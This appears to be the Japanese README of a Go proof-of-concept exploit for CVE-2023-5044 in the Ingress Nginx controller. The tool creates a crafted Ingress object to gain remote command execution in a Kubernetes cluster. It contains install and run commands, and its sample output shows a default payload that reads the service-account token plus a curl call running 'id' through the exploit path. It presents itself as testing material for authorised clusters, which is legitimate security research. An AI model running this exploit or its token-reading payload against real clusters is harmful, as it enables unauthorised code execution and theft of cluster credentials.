
Ingress NginxにおけるCVE-2023-5044のGoベースの概念実証エクスプロイト。Kubernetesクラスタ内で細工されたIngressオブジェクトを介してリモートコード実行を自動化します。
これは、Ingress Nginx コントローラーの最近の CVE を悪用するための簡単な Go プログラムです。
この方法の詳細は、Rory McCune のブログ https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/ ですでに公開されています。このツールはプロセスを少し自動化し、エクスプロイトを整理して、より柔軟で汎用的なリモートコード実行ペイロードにします。
% go install github.com/4armed/cve-2023-5044@latest
テスト対象として、脆弱なバージョンの ingress-nginx が動作しているクラスターが必要です(当然ながら)。まだテスト用のクラスターがない場合は、このリポジトリをクローンし、deploy フォルダ内の Makefile を使用して Kind クラスターを作成できます。
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
kind.yaml ファイルをそのままにしておくと、ローカルホストのポート 30080 および 30443 にバインドされたクラスターが作成されます。
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
「checking permissions」という行は、ツールが Subject Access Review を実行して、ingress を作成する権限があるかどうかを確認するためです。権限がない場合は、その時点で終了します。既存の ingress に対する編集権限がある場合、確かにエクスプロイトを使用して侵害を達成できますが、既存の ingress を壊さずに更新を自動化するのは非常に複雑です。
エクスプロイトをトリガーするデフォルトのパスは /4armed で、cmd クエリ文字列パラメータの値を読み取り実行します。
デフォルトのコマンド cat /var/run/secrets/kubernetes.io/serviceaccount/token を使用した例の URL が出力されます。これは -e フラグで変更するか、cmd パラメータに別の値を指定するだけです。エクスプロイトはハードコードされていません。新しい ingress をデプロイする必要はありません。
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
ingress オブジェクト名は GenerateName を使用してランダム化されるため、出力に注意し、後片付けをしてください。
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
ingress オブジェクトのみを生成したい場合は、次を使用します:
% cve-2023-5044 generate
これは、許可を得ているクラスターに対してのみテスト目的で使用されます。許可の有無にかかわらず、クラスターに対して使用した場合、著者は生じたいかなる損害や問題に対しても責任を負いません。既存のパスと競合しないようにパス値の選択には十分注意していますが、必要に応じてフラグで上書きしたりコードを変更したりできます。それでも何かを壊す可能性があります。何をしているか理解した上で使用してください。